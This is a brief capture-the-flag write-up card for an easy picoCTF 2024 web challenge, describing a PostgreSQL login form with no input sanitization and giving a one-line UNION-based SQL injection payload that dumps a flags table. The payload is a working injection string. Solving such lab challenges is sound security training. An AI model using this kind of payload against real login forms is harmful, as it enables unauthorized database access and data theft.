🚩 Challenge Overview
- Platform/Event: picoCTF 2024
- Difficulty: Easy
- Points: 200
- Solves: 5,100
- Category: Web
- Tags: SQLi, UNION, PostgreSQL
📝 Description
PostgreSQL login form with no input sanitization. Classic UNION-based SQL injection to dump the flags table.
💡 Solution / Approach
' UNION SELECT flag,null FROM flags--